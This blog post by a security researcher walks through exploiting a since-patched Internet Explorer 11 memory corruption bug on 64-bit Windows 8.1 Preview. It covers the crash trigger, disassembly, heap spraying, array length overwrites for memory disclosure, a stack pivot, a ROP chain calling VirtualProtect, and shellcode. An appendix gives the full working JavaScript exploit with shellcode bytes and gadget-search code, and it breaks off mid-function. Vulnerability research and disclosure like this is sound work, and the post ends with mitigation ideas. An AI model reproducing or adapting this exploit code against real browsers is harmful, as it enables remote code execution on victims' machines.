Note: The vulnerability described here has been patched by Microsoft in October 2013 security update.
Earlier this year, Microsoft announced several security bounty programs one of which was a bounty program for bugs in Internet Explorer 11. I participated in this program and relatively quickly found a memory corruption bug. Although I believed the bug could be exploited for remote code execution, due to lack of time (I just became a father right before the bounty programs started so I had other preoccupations) I haven’t actually developed a working exploit at the time. However, I was interested in the difficulty of writing an exploit for the new OS and browser version so I decided to try to develop an exploit later. In this post, I’ll first describe the bug and then the development of a working exploit for it on 64-bit Windows 8.1 Preview.
When setting out to develop the exploit I didn't strive to make a 100% reliable exploit (The specifics of the bug would have made it difficult and my goal was to experiment with the new platform and not make the next cyber weapon), however I did set some limitations for myself that would make the exercise more challenging:
1. The exploit should not rely on any plugins (so no Flash and no Java). I wanted it to work on the default installation.
2. The exploit must work on 64-bit IE and 64-bit Windows. Because 32-bit would be cheating as many exploit mitigation techniques (such as heap base randomization) aren't really effective on 32-bit OS or processes. Additionally, there aren't many 64-bit Windows exploits out there.
3. No additional vulnerabilities should be used (e.g. for ASLR bypass)
One prior note about exploiting 64-bit Internet Explorer: In Windows 8 and 8.1, when running IE on the desktop (“old interface”) the renderer processes of IE will be 32-bit even if the main process is 64-bit. If the new (“touch screen”) interface is used everything is 64-bit. This is an interesting choice and makes the desktop version of IE less secure. So in the default environment, the exploit shown here actually targets the touch screen interface version of IE.
To force IE into using 64-bit mode on the desktop for exploit development, I forced IE to use single process mode (TabProcGrowth registry key). However note that this was used for debugging only and, if used for browsing random pages, it will make IE even less secure because it disables the IE’s sandbox mode.
The bug
A minimal sample that triggers the bug is shown below.
<script>
function bug() {
t = document.getElementsByTagName("table")[0];
t.parentNode.runtimeStyle.posWidth = "";
t.focus();
}
</script>
<body onload=bug()>
<table><th><ins>aaaaaaaaaa aaaaaaaaaa
And here is the the debugger output.
(4a8.440): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSHTML!Layout::ContainerBox::ContainerBox+0x1e6:
00007ff8`e0c90306 488b04d0 mov rax,qword ptr [rax+rdx*8] ds:000000a6`e1466168=????????????????
0:010> r
rax=000000a6d1466170 rbx=000000a6d681c360 rcx=000000000000007f
rdx=0000000001ffffff rsi=000000a6d5960330 rdi=00000000ffffffff
rip=00007ff8e0c90306 rsp=000000a6d61794b0 rbp=000000a6d5943a90
r8=0000000000000001 r9=0000000000000008 r10=00000000c0000034
r11=000000a6d61794a0 r12=00000000ffffffff r13=00000000ffffffff
r14=000000000000000b r15=00000000ffffffff
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!Layout::ContainerBox::ContainerBox+0x1e6:
00007ff8`e0c90306 488b04d0 mov rax,qword ptr [rax+rdx*8] ds:000000a6`e1466168=????????????????
0:010> k
Child-SP RetAddr Call Site
000000a6`d61794b0 00007ff8`e0e49cc0 MSHTML!Layout::ContainerBox::ContainerBox+0x1e6
000000a6`d6179530 00007ff8`e0e554a8 MSHTML!Layout::TableGridBox::TableGridBox+0x38
000000a6`d6179590 00007ff8`e0e553c2 MSHTML!Layout::TableGridBoxBuilder::CreateTableGridBoxBuilder+0xd8
000000a6`d6179600 00007ff8`e0c8b720 MSHTML!Layout::LayoutBuilder::CreateLayoutBoxBuilder+0x2c9
000000a6`d61796c0 00007ff8`e0c8a583 MSHTML!Layout::LayoutBuilderDriver::StartLayout+0x85f
000000a6`d61798d0 00007ff8`e0c85bb2 MSHTML!Layout::PageCollection::FormatPage+0x287
000000a6`d6179a60 00007ff8`e0c856ae MSHTML!Layout::PageCollection::LayoutPagesCore+0x2aa
000000a6`d6179c00 00007ff8`e0c86389 MSHTML!Layout::PageCollection::LayoutPages+0x18e
000000a6`d6179c90 00007ff8`e0c8610f MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x251
000000a6`d6179db0 00007ff8`e0df85ca MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd7
000000a6`d6179e70 00007ff8`e12d472d MSHTML!CMarkupPageLayout::DoLayout+0x76
000000a6`d6179eb0 00007ff8`e0d9de95 MSHTML!CView::EnsureView+0xcde
000000a6`d617a270 00007ff8`e0d1c29e MSHTML!CElement::EnsureRecalcNotify+0x135
000000a6`d617a310 00007ff8`e1556150 MSHTML!CElement::EnsureRecalcNotify+0x1e
000000a6`d617a350 00007ff8`e1555f6b MSHTML!CElement::focusHelperInternal+0x154
000000a6`d617a3b0 00007ff8`e19195ee MSHTML!CElement::focus+0x87
000000a6`d617a400 00007ff8`e06ed862 MSHTML!CFastDOM::CHTMLElement::Trampoline_focus+0x52
000000a6`d617a460 00007ff8`e06f0039 jscript9!amd64_CallFunction+0x82
000000a6`d617a4b0 00007ff8`e06ed862 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x154
000000a6`d617a550 00007ff8`e06f26ff jscript9!amd64_CallFunction+0x82
As can be seen above, IE crashes in MSHTML!Layout:ContainerBox:ContainerBox function while attempting to read uninitialized memory pointed to by rax + rdx*8. rax actually points to valid memory that contains a CFormatCache object (which looks correct given the PoC), while the value of rdx (0x0000000001ffffff) is interesting. So I looked at the code of ContainerBox:ContainerBox function to see where this value comes from and also what can be done if an attacker would control the memory at rax + 0xffffff8.
00007ffb`dac00145 83cdff or ebp,0FFFFFFFFh
...
00007ffb`dac0023e 440fb64713 movzx r8d,byte ptr [rdi+13h]
00007ffb`dac00243 410fb6c0 movzx eax,r8b
00007ffb`dac00247 c0e805 shr al,5
00007ffb`dac0024a 2401 and al,1
00007ffb`dac0024c 0f84048f6200 je MSHTML!Layout::ContainerBox::ContainerBox+0x562 (00007ffb`db229156)
00007ffb`dac00252 440fb76f68 movzx r13d,word ptr [rdi+68h]
...
00007ffb`db229156 448bed mov r13d,ebp
00007ffb`db229159 e9f9709dff jmp MSHTML!Layout::ContainerBox::ContainerBox+0x137 (00007ffb`dac00257)
...
00007ffb`dac002db 410fbffd movsx edi,r13w
...
00007ffb`dac002fb 8bcf mov ecx,edi
00007ffb`dac002fd 8bd7 mov edx,edi
00007ffb`dac002ff 48c1ea07 shr rdx,7
00007ffb`dac00303 83e17f and ecx,7Fh
00007ffb`dac00306 488b04d0 mov rax,qword ptr [rax+rdx*8] ds:0000007a`390257f8=????????????????
00007ffb`dac0030a 488d0c49 lea rcx,[rcx+rcx*2]
00007ffb`dac0030e 488d14c8 lea rdx,[rax+rcx*8]
00007ffb`dac00312 8b4cc810 mov ecx,dword ptr [rax+rcx*8+10h]
00007ffb`dac00316 8b420c mov eax,dword ptr [rdx+0Ch]
00007ffb`dac00319 3bc8 cmp ecx,eax
00007ffb`dac0031b 0f83150d7500 jae MSHTML!Layout::ContainerBox::ContainerBox+0x750f16 (00007ffb`db351036)
00007ffb`dac00321 ffc0 inc eax
00007ffb`dac00323 89420c mov dword ptr [rdx+0Ch],eax
The value of rdx at the time of crash comes after several assignments from the value of ebp which is initialized to 0xFFFFFFFF near the beginning of the function (note that ebp/rbp is not used as the frame pointer here). My assumption is that the value 0xFFFFFFFF (-1) is an initial value of variable used as an index into CFormatCache. Later in the code, a pointer to a CTreeNode is obtained, a flag in the CTreeNode is examined and if it is set, the index value is copied from the CTreeNode object. However, if the flag is not set (as is the case in the PoC), the initial value is used. The value 0xFFFFFFFF is then split into two parts, upper and lower (it looks like CFormatCache is implemented as a 2D array). A value of the higher index (will be equal to 0x1ffffff) will be multiplied by 8 (size of void*), this offset is added to rax and the content at this memory location is written back to rax. Then, a value of the lower index (will be 0x7f) is multiplied with 24 (presumably the size of CCharFormat element), this offset is added to eax and the content of this memory location is written to rdx. Finally, and this is the part relevant for exploitation, a number at [rdx+0C] is taken, increased, and then written back to [rdx+0C].
Written in C++ and simplified a bit, the relevant code would look like this:
int cacheIndex = -1;
if(treeNode->flag) {
cacheIndex = treeNode->cacheIndex;
}
unsigned int index_hi = cacheIndex, index_lo = cacheIndex;
index_hi = index_hi >> 7;
index_lo = index_lo & 0x7f;
//with sizeof(formatCache[i]) == 8 and sizeof(formatCache[i][j]) == 24
formatCache[index_hi][index_lo].some_number++;
For practical exploitation purposes, what happens is this: A pointer to valid memory (CFormatCache pointer) is increased by 0x0FFFFFF8 (256M) and the value at this address is treated as another pointer. Let’s call the address (CFormatCache address + 0x0FFFFFF8) P1 and the address it points to P2. The DWORD value at (P2 + BF4) will be increased by 1 (Note: BF4 is computed as 0x7F * 3 * 8 + 0x0C).
The exploit
If we were writing an exploit for a 32-bit process, a straightforward (though not very clean) way to exploit the bug using heap spraying would be to spray with a 32-bit number such that when BF4 is added to it, an address of something interesting (e.g. string or array length) is obtained. An “address of something interesting” could be predicted by having another heap spray consisting of “interesting objects”.
Since the exploit is being written for 64-bit process with full ASLR, we won’t know or be able to guess an address of an “interesting” object. We certainly won’t be able to fill an address space of a 64-bit process and heap base will be randomized, thus making addresses of objects on the heap unpredictable.
However, even in this case, heap spraying is still useful for the first part of the exploit. Note that when triggering the bug, P1 is calculated as a valid heap address increased by 0x0FFFFFF8 (256M). And if we heap spray, we are allocating memory relative to the heap base. Thus, by spraying approximately 256M of memory we can set P2 to arbitrary value.
So to conclude, despite significantly larger address space in 64-bit processes and heap base randomization, heap spraying is still useful in cases where we can make a vulnerable application dereference memory at a valid heap address + a large offset. As this is a typical behavior for bounds checking vulnerabilities, it’s not altogether uncommon. Besides the bug being discussed here, the previous IE bug I wrote about exploiting here also exhibits this behavior.
Although heap spraying is often avoided in modern exploits in favor of the more reliable alternatives, given a large (fixed) offset of 256M, it is pretty much required in this case. And although the offset is fixed, it’s a pretty good value as far as heap spraying goes. Not too large to cause memory exhaustion and not too small to cause major reliability issues (other than those from using heap spraying in the first place).
Look Ma, no Flash
But the problem of not being able to guess an address of an interesting object still remains, and thus the question is, what do we heap spray with? Well, instead of heap spraying with the exact values, we can spray with pointers instead. Since an offset of 0xBF4 is added to P2 before increasing the value it points to, we’ll spray with an address of some object and try to make this address + 0xBF4 point to something of interest.
So what should “something of interest” be? The first thing I tried is a length of a JavaScript string as in here. And although I was able to align the stars to overwrite higher dword of a qword containing a string length, a problem arose: JavaScript string length is treated as a 32-bit number. Note that most pointers (including those we can easily use in our heap spray) on 64-bit will be qword aligned and when adding an offset of 0xBF4 to such a pointer we will end up with a pointer to higher dword in a qword-aligned memory. So an interesting value needs to either be 64-bit or not qword aligned.
Another idea was to try to overwrite an address. However, note that triggering the bug would increase the address by 4GB as (assuming a qword-aligned address) we are increasing the higher dword. To control the content at this address we would need another heap spray of ~4G data and this would cause memory issues on computers with less free RAM than that. Incidentally, the computer I ran Windows 8.1 Preview VM on had only 4GB of RAM and the Windows 8.1 VM had just 2GB of RAM so I decided to drop this idea and look at alternatives.
In several recent exploits used in the wild, a length of a Flash array was overwritten to leverage a vulnerability. While Flash was off limits in this exercise, let’s take a look at JavaScript arrays in IE 11 instead. As it turns out, there is an interesting value that is correctly aligned. An example JavaScript Array object with explanation of some of the fields is shown below. Note that the actual array content may be split across several buffers.
offset:0, size:8 vtable ptr
offset:0x20, size:4 array length
offset:0x28, size:8 pointer to the buffer containing array data
[beginning of the first buffer, stored together with the array]
offset:0x50, size:4 index of the first element in this buffer
offset:0x54, size:4 number of elements currently in the buffer
offset:0x58, size:4 buffer capacity
offset:0x60, size:8 ptr to the next buffer
offset:0x68, size:varies array data stored in the buffer
Although it’s not necessary for understanding the exploit, here’s also an example String object with explanation of some of the fields.
offset:0, size:8 vtable ptr
offset:0x10, size:4 string length
offset:0x18, size:8 data ptr
As can be seen from above, the “number of elements currently in the buffer” of a JavaScript array is not qword-aligned and is a value that might be interesting to overwrite.
This is indeed the value I ended up going for. To accomplish this, I got the memory aligned as seen in the image below.
We’ll heap spray with pointers to a JavaScript String object by creating large JavaScript arrays where each element of the array will be the same string object. We’ll also get memory aligned in such a way that, at an offset 0xBF4 from the start of the string, there will be a a part of a JavaScript array that holds the value we want to overwrite.
You might wonder why I heap sprayed with pointers to String and not an Array object. The reason for this is that the String object is much smaller (32 bytes vs. 128 bytes) so by having multiple strings close to one another and pointing to a specific one, we can better “aim” for a specific offset inside an Array object. Of course, if we have several strings close to one another, the question becomes which one to use in a heap spray. Since an Array object is 4 time the size of a String, there are four different offsets in the Array we can overwrite. By choosing randomly, in one case (with probability 1/4), we will overwrite exactly what we want. In one case, we will overwrite an address that will cause a crash on a subsequent access of the array. And in the remaining two cases, we will overwrite values that are not important and we would be able to try again by spraying with a pointer to a different string. Thus a blind guess will give success probability of 1/4 while a try/retry approach would give a probability of success of 3/4 (if you know your statistics, you might think that this number is wrong, but we can actually avoid crashes after an incorrect but non-fatal attempt by trying different strings in a descending order). An even better approach would be to disclose the string offsets by first aligning memory in a way to put something readable at an offset 0xBF4 from the String object used in the heap spray. While I have observed that this is possible, this isn’t implemented in the provided exploit code and is left as an exercise for the reader. Refer to the next section for information that could help you to achieve such alignment.
In the exploit code provided, a naive (semi)blind-guess approach is used where there is a large array of Strings (strarr) and a string at a constant index is used for the heap spray. I have observed that this works reliably for me when opening the PoC in a new process/tab (so I didn’t have any other JavaScript objects in the current process). If you want to play with the exploit and the index I used doesn’t work for you, you’ll likely need to pick a different one or implement one of the approaches described above.
Feng Shui in JavaScript heap
Before moving on with the exploit, let’s first take some time to examine how it’s possible to heap spray in IE11 and get a correct object alignment on heap with a high reliability.
Firstly, heap spraying: While Microsoft has made it rather difficult to heap spray with JavaScript strings, JavaScript arrays in IE11 appear not to prevent this in any way. It’s possible to spray both with pointers (as seen above) as well as with absolute values by e.g. creating a large array of integers. While many recent IE exploits use Flash for heap spraying, it’s not necessary and, given the current Array implementation and improved speed over the predecessors, JavaScript arrays might just be the object of choice to implement heap spraying in IE in the future.
Secondly, alignment of objects on heap: While the default Heap implementation in Windows 8 and above (the low fragmentation heap) includes several mitigations that make getting the desired alignment difficult, such as guard pages and allocation order randomization, in IE11 basic JavaScript objects (such as Arrays and Strings) use a custom heap implementation that has none of these features.
I’ll shortly describe what I observed about this JavaScript heap implementation. Note that all of the below is based on observation of the behavior and not reverse-engineering the code, so I might have made some wrong conclusions, but it works as described for the purposes of the given exploit.
The space for the JavaScript objects is allocated in blocks of 0x20000 bytes. If more space is needed, additional blocks will be allocated and there is nothing preventing these blocks to be right next to one another (so a theoretical overflow in one block could write into another).
These blocks are further divided into bins of 0x1000 bytes (at least for small objects). One bin will only hold objects of the same size and possibly type. So for example, in this exploit where we have String and Array objects of size 32 and 128 bytes respectively, some bins will hold only String objects (128 of them at most), while some of them will hold only Array objects (32 of them at most). When a bin is fully used, it contains only the “useful” content and no metadata. I have also observed that the objects are stored in separate 0x20000-size blocks than the user-provided content, so string and array data will be stored in different blocks than the corresponding String and Array objects, except when the data is small enough to be stored together with the object (e.g. single-character strings, small arrays like the 5-element ones in the exploit).
The allocation order of objects inside a given bin is sequential. That means that, e.g. if we create three String objects in close succession and assuming no holes in any of the bins, they will be next to each other with the first one having the lowest address, followed by the second followed by the third.
And now, for my next trick
So at this point we can increment the number of elements in the JavaScript array. In fact, we’ll trigger the vulnerability multiple times (5 times in the provided exploit, where each trigger will increase this number by 3) in order to increase it a bit more. Unfortunately, increasing the number of elements does not allow us to write data past the end of the buffer, but it does allow us to read data past the end. This is sufficient at this point because it allows us to break ASLR and learn the precise address of the Array object we overwrote.
Knowing the address of the Array object, we can repeat the heap spray, but this time, we’ll spray with exact values (I used Array of integers to spray with the exact values). A value we are going to spray with is going to be an address of buffer capacity of an array decreased by 0xBF1. This means that that the spray value + 0xBF4 will be the address of the highest byte of the buffer capacity value. After the buffer capacity has been overwritten, we’ll be able to both read and write data past the end of the JS Array’s buffer.
From here, we can quite easily get the two important elements that constitute a modern browser exploit: The ability to read arbitrary memory and to gain control over RIP.
We can read arbitrary memory by scanning the memory after the Array for a String object and then overwriting the data pointer and (if we want to read larger data) size of the string.
We can get control over RIP by overwriting a vtable pointer of a nearby Array object and triggering a virtual method call. While IE10 introduced Virtual Table Guard (vtguard) for some classes in mshtml.dll, jscript9.dll has no such protections. However note that, having arbitrary memory disclosure, even if vtguard was present it would be just a minor annoyance.
64-bit exploits for 32-bit exploit writers
With control over RIP and memory disclosure, we’ll want to construct a ROP chain in order to defeat DEP. As we don’t control the stack, the first thing we need is a stack pivot gadget. So, with arbitrary memory disclosure it should be easy to search for xchg rax,rsp; ret; in some executable module, right? Well, no. As it turns out, in x64, stack pivot gadgets are much less common than in x86 code. On x86, xchg eax,esp; ret; will be just 2 bytes in size, so there will be many unintended sequences like that. On x64 xchg rax,rsp; is 3 bytes which makes it much less common. Having not found it (or any other “clean” stack pivot gadgets) in mshtml.dll and jscript9.dll, I had to look for alternatives. After a look at mshtml.dll I found a stack pivot sequence shown below which isn’t very clean but does the trick assuming both rax and rcx point to a readable memory (which is the case here).
00007ffb`265ea973 50 push rax
00007ffb`265ea974 5c pop rsp
00007ffb`265ea975 85d2 test edx,edx
00007ffb`265ea977 7408 je MSHTML!CTableLayout::GetLastRow+0x25 (00007ffb`265ea981)
00007ffb`265ea979 8b4058 mov eax,dword ptr [rax+58h]
00007ffb`265ea97c ffc8 dec eax
00007ffb`265ea97e 03c2 add eax,edx
00007ffb`265ea980 c3 ret
00007ffb`265ea981 8b8184010000 mov eax,dword ptr [rcx+184h]
00007ffb`265ea987 ffc8 dec eax
00007ffb`265ea989 c3 ret
Note that, while there is a conditional jump in the sequence, both branches end with RET and won’t cause a crash so they both work well for our purpose. While the exploit mostly relies on jscript9 objects, an address of (larger) mshtml.dll module can be easily obtained using memory disclosure by pushing a mshtml object into a JS array object we can read and then following references from the array to mshtml object and its vtable.
After the control of the stack is gained, we can call VirtualProtect to make a part of heap we can write to executable. We can find the address of VirtualProtect in the IAT of mshtml.dll (the exploit includes some very basic PE32+ parsing). So, with the address of VirtualProtect and control over the stack, we can now just put the correct arguments of on the stack and return into VirtualProtect, right? Well, no. In 64-bit Windows, a different calling convention is used than in 32-bit. 64-bit Windows uses a fastcall convention where the first 4 arguments (which is exactly the number of arguments VirtualProtect has) are passed through registers RCX, RDX, R8 and R9 (in that order). So we need some additional gadgets to load the correct argument into the correct registers:
pop rcx; ret;
pop rdx; ret;
pop r8; ret;
pop r9; ret;
As it turns out the first three are really common in mshtml.dll. The forth one isn’t, however for VirtualProtect the last argument just needs to point to a writeable memory which is already the case at the time we get control over RIP, so we don’t actually have to change r9.
The final ROP chain looks like this:
address of pop rcx; ret;
address on the heap block with shellcode
address of pop rdx; ret;
0x1000 (size of the memory that we want to make executable)
address of pop r8; ret;
0x40 (PAGE_EXECUTE_READWRITE)
address of VirtualProtect
address of shellcode
So, we can now finally execute some x64 shellcode like SkyLined’s x64 calc shellcode that works on 64-bit Windows 7 and 8, right? Well, no. Shellcode authors usually (understandably) prefer small shellcode size over generality and save space by relying on specifics of the OS that don’t need to be true in the future versions. For example, for compatibility reasons, Windows 7 and 8 store PEB, module information structures as well as ntdll and kernel32 modules at addresses lower than 2G. This is no longer true in Windows 8.1 Preview. Also, while Windows x64 fastcall calling convention requires leaving 32 bytes of shadow space on the stack for the use of calling function, SkyLined’s win64-exec-calc-shellcode leaves just 8 bytes before calling WinExec. While this appears to work on Windows 7 and 8, on Windows 8.1 preview it will cause the command string (“calc” in this case) stored on the stack to be overwritten as it will be stored in WinExec’s shadow space. To resolve these compatibility issues I made modifications to the shellcode which I provided in the exploit. It should now work on Windows 8.1.
That’s it, finally we can execute the shellcode and have thus proven arbitrary code execution. As IE is fully 64-bit only in the touch screen mode, I don’t have a cool screenshot of Windows Calculator popped over it (calc is shown on the desktop instead). But I do have a screenshot of the desktop with IE forced into a single 64-bit process.
The full exploit code can be found at the end of this blog post.
Conclusion
Although Windows 8/8.1 packs an impressive arsenal of memory corruption mitigations, memory corruption exploitation is still alive and kicking. Granted, some vulnerability classes might be more difficult to exploit, but the vulnerability presented here was the first one I found in IE11 and there are likely many more vulnerabilities that can be exploited in a similar way. The exploit also demonstrates that, under some conditions, heap spraying is still useful even in 64-bit processes. In general, while there have been a few cases where it was more difficult to write parts of the exploit on x64 than it would be on x86 (such as finding what to spray with and overwrite, finding stack pivot sequences etc.), the difficulties wouldn't be sufficient to stop a determined attacker.
Finally, based on what I've seen, here are a few ideas to make writing exploits for IE11 on Windows 8.1 more difficult:
- Consider implementing protection against heap spraying with JavaScript arrays. This could be implemented by RLE-encoding large arrays that consist of a single repeated value or several repeated values.
- Consider implementing the same level of protection for the JavaScript heap as for the default heap implementation - add guard pages and introduce randomness.
- Consider implementing Virtual Table Guard for common JavaScript objects.
- Consider making compiler changes to remove all stack pivot sequences from the generated code of common modules. These are already scarce in x64 code so there shouldn't be a large performance impact.
Appendix: Exploit Code
<script>
var magic = 25001; //if the exploit doesn't work for you try selecting another number in the range 25000 -/+ 128
var strarr = new Array();
var arrarr = new Array();
var sprayarr = new Array();
var numsploits;
var addrhi,addrlo;
var arrindex = -1;
var strindex = -1;
var strobjidx = -1;
var mshtmllo,mshtmlhi;
//calc shellcode, based on SkyLined's x64 calc shellcode, but fixed to work on win 8.1
var shellcode = [0x40, 0x80, 0xe4, 0xf8, 0x6a, 0x60, 0x59, 0x65, 0x48, 0x8b, 0x31, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x4f, 0x3c, 0x8b, 0x5c, 0x0f, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x4c, 0x1f, 0x24, 0x48, 0x01, 0xf9, 0x31, 0xd2, 0x0f, 0xb7, 0x2c, 0x51, 0xff, 0xc2, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xf0, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x31, 0xd2, 0x48, 0x83, 0xec, 0x28, 0xff, 0xd7, 0xcc, 0, 0, 0, 0];
//triggers the bug
function crash(i) {
numsploits = numsploits + 1;
t = document.getElementsByTagName("table")[i];
t.parentNode.runtimeStyle.posWidth = -1;
t.focus();
setTimeout(cont, 100);
}
//heap spray
function spray() {
var aa = "aa";
//create a bunch of String and Array objects
for(var i=0;i<50000;i++) {
strarr[i] = aa.toUpperCase();
arrarr[i] = new Array(1,2,3,4,5);
}
//heap-spray with pointers to a String object
for(var i=0;i<2000;i++) {
var tmparr = new Array(16000);
for(var j=0;j<16000;j++) {
tmparr[j] = strarr[magic];
}
sprayarr[i] = tmparr;
}
crash(0);
}
function cont() {
if(numsploits < 5) {
crash(numsploits);
return;
}
if(numsploits < 6) {
setTimeout(afterFirstOverwrite, 0);
return;
}
//alert("done2");
afterSecondOverwrite();
}
function afterFirstOverwrite() {
//check which array was overwritten
for(var i=24000;i<25000;i++) {
arrarr[i][18] = 1;
var a = arrarr[i][4];
var b = arrarr[i][16];
var c = arrarr[i][17];
if(typeof(b)!="undefined") {
arrindex = i;
addrlo = b;
addrhi = c;
break;
}
}
if(arrindex < 0) {
alert("Exploit failed, error overwriting array");
return;
}
//alert(arrindex);
//re-spray to overwrite buffer capacity
for(var i=0;i<2000;i++) {
sprayarr[i] = new Array(32000);
}
CollectGarbage();
for(var i=0;i<2000;i++) {
for(var j=0;j<32000;j++) {
if(j%2 == 0) {
sprayarr[i][j] = addrlo + 8 - 0xBF4 + 3;
} else {
sprayarr[i][j] = addrhi;
}
}
}
//alert("done");
crash(numsploits);
}
//unsigned to signed conversion
function u2s(i) {
if(i>0x80000000) {
return -(0xFFFFFFFF - i + 1);
} else {
return i;
}
}
//signed to unsigned conversion
function s2u(i) {
if(i<0) {
return (0xFFFFFFFF + i + 1);
} else {
return i;
}
}
//memory disclosure helper function, read 32-bit number from a given address
function read32(addrhi, addrlo) {
arrarr[arrindex][strobjidx + 6] = u2s(addrlo);
arrarr[arrindex][strobjidx + 7] = addrhi;
return strarr[strindex].charCodeAt(0) + 0x10000 * strarr[strindex].charCodeAt(1);
}
//memory disclosure helper function, read 16-bit number from a given address
function read16(addrhi, addrlo) {
arrarr[arrindex][strobjidx + 6] = u2s(addrlo);
arrarr[arrindex][strobjidx + 7] = addrhi;
return strarr[strindex].charCodeAt(0);
}
function afterSecondOverwrite() {
arrindex = arrindex + 1;
//adjusts the array length - gives us some space to read and write memory
arrarr[arrindex][2+0x5000/4] = 0;
//search for the next string object and overwrite its length and content ptr to write jscript9
for(var i=1;i<=5;i++) {
if((arrarr[arrindex][2 + i*0x400 - 0x20] == 2) && (arrarr[arrindex][3 + i*0x400 - 0x20] == 0)) {
//alert("found");
strobjidx = i*0x400 - 0x20 - 2;
arrarr[arrindex][strobjidx+4] = 4;
for(var j=20000;j<30000;j++) {
if(strarr[j].length != 2) {
strindex = j;
break;
}
}
break;
}
}
if(strindex < 0) {
alert("Exploit failed, couldn't overwrite string length");
return;
}
//alert("mshtml");
//create a mshtml object and follow references to its vtable ptr
var lo1,hi1,lo2,hi2;
arrarr[arrindex+1][0] = document.createElement("button");
lo1 = s2u(arrarr[arrindex][6+0x28/4]);
hi1 = arrarr[arrindex][6+0x28/4 + 1];
lo2 = read32(hi1, lo1+0x18);
hi2 = read32(hi1, lo1+0x18+4);
mshtmllo = read32(hi2, lo2+0x20);
mshtmlhi = read32(hi2, lo2+0x20+4);
//find the module base
mshtmllo = mshtmllo - mshtmllo % 0x1000;
while(mshtmllo>0) {
if(read16(mshtmlhi,mshtmllo) == 0x5A4D) break;
mshtmllo = mshtmllo - 0x1000;
}
//find the address of VirtualProtect in the IAT
var coff = read32(mshtmlhi, mshtmllo + 0x3C);
var idata = read32(mshtmlhi, mshtmllo + coff + 4 + 20 + 120);
var iat = read32(mshtmlhi, mshtmllo + idata + 16);
var vplo = read32(mshtmlhi, mshtmllo + iat + 0x8a8);
var vphi = read32(mshtmlhi, mshtmllo + iat + 0x8a8 + 4);
//alert(mshtmlhi.toString(16)+"'"+mshtmllo.toString(16)+","+vplo.toString(16));
//find the rop gadgets in mshtml
var pivotlo = -1;
arrarr[arrindex][strobjidx + 4] = 0x01000000;
arrarr[arrindex][strobjidx + 6] = u2s(mshtmllo);
arrarr[arrindex][strobjidx + 7] = mshtmlhi;
for(var i=0x800;i<0x900000;i++) {
if((strarr[strindex].charCodeAt(i) == 0x5C50)
&&(strarr[strindex].charCodeAt(i+1) == 0xD285)
&&(strarr[strindex].charCodeAt(i+2) == 0x0874)
&&(strarr[strindex].charCodeAt(i+3) == 0x408b))
{
pivotlo = mshtmllo + i*2;
break;
}
if((strarr[strindex].charCodeAt(i) == 0x508B)
&&(strarr[strindex].charCodeAt(i+1) == 0x855C)
&&(strarr[strindex].charCodeAt(i+2) == 0x74D2)
&&(strarr[strindex].charCodeAt(i+3) == 0x8b08))
{
pivotlo = mshtmllo + i*2 + 1;
break;
}
}
if(pivotlo < 0) {
alert("Exploit failed, couldn't find ROP gadgets");
return;
}
//alert(pivotlo.toString(16));
var poprcx = -1;
for(var i=0x800;i<0x900000;i++) {
if(strarr[strindex].charCodeAt(i) == 0xC359) {
poprcx = mshtmllo + i*2;
break;
}
}
if(poprcx < 0) {
alert("Exploit failed, couldn't find ROP gadgets");
return;
}
var poprdx = -1;
for(var i=0x800;i<0x900000;i++) {
if(strarr[strindex].charCodeAt(i) == 0xC35A) {
poprdx = mshtmllo + i*2;
break;
}
}
if(poprdx < 0) {
alert("Exploit failed, couldn't find ROP gadgets");
return;
}
var popr8 = -1;
for(var i=0x800;i<0x900000;i++) {
if((strarr[strindex].charCodeAt(i) == 0x5841) && (strarr[strindex].charCodeAt(i+1) % 256 == 0xC3)) {
popr8 = mshtmllo + i*2;
break;
}
if((Math.floor(strarr[strindex].charCodeAt(i)/256) == 0x41) && (strarr[strindex].charCodeAt(i+1) == 0xC358)) {
popr8 = mshtmllo + i*2 + 1;
break;
}
}
if(popr8 < 0) {
alert("Exploit failed, couldn't find ROP gadgets");
return;
}
//prepare the fake vtable
var eaxoffset = 6 + 0x20;
arrarr[arrindex][eaxoffset + 0x98/4] = u2s(pivotlo);
arrarr[arrindex][eaxoffset + 0x98/4 + 1] = mshtmlhi;
//prepare the fake stack
arrarr[arrindex][eaxoffset] = u2s(poprcx);
arrarr[arrindex][eaxoffset + 1] = mshtmlhi;
arrarr[arrindex][eaxoffset + 2] = addrlo;
arrarr[arrindex][eaxoffset + 3] = addrhi;
arrarr[arrindex][eaxoffset + 4] = u2s(poprdx);
arrarr[arrindex][eaxoffset + 5] = mshtmlhi;
arrarr[arrindex][eaxoffset + 6] = 0x1000;
arrarr[arrindex][eaxoffset + 7] = 0;
arrarr[arrindex][eaxoffset + 8] = u2s(popr8);
arrarr[arrindex][eaxoffset + 9] = mshtmlhi;
arrarr[arrindex][eaxoffset + 10] = 0x40;
arrarr[arrindex][eaxoffset + 11] = 0;
arrarr[arrindex][eaxoffset + 12] = u2s(vplo);
arrarr[arrindex][eaxoffset + 13] = u2s(vphi);
arrarr[arrindex][eaxoffset + 14] = addrlo + 24 + eaxoffset*4 + 50*4;
arrarr[arrindex][eaxoffset + 15] = addrhi;
//encode the shellcode
for(var i=0;i<Math.floor(shellcode.length/4);i++) {
arrarr[arrindex][eaxoffset + 50 + i] = u2s(shellcode[i*4+3]*0x1000000 + shellcode[i*4+2]*0x10000 + shellcode[i*4+1]*0x100 + shellcode[i*4]);
}
//overwrite a vtable of jscript9 object and trigger a virtual call
arrarr[arrindex][7] = addrhi;
arrarr[arrindex][6] = addrlo + 24 + eaxoffset*4;
//arrarr[arrindex][7] = 0x123456;
//arrarr[arrindex][6] = 0x123456;
//alert("done3");
arrarr[arrindex+1].blah();
}
function run() {
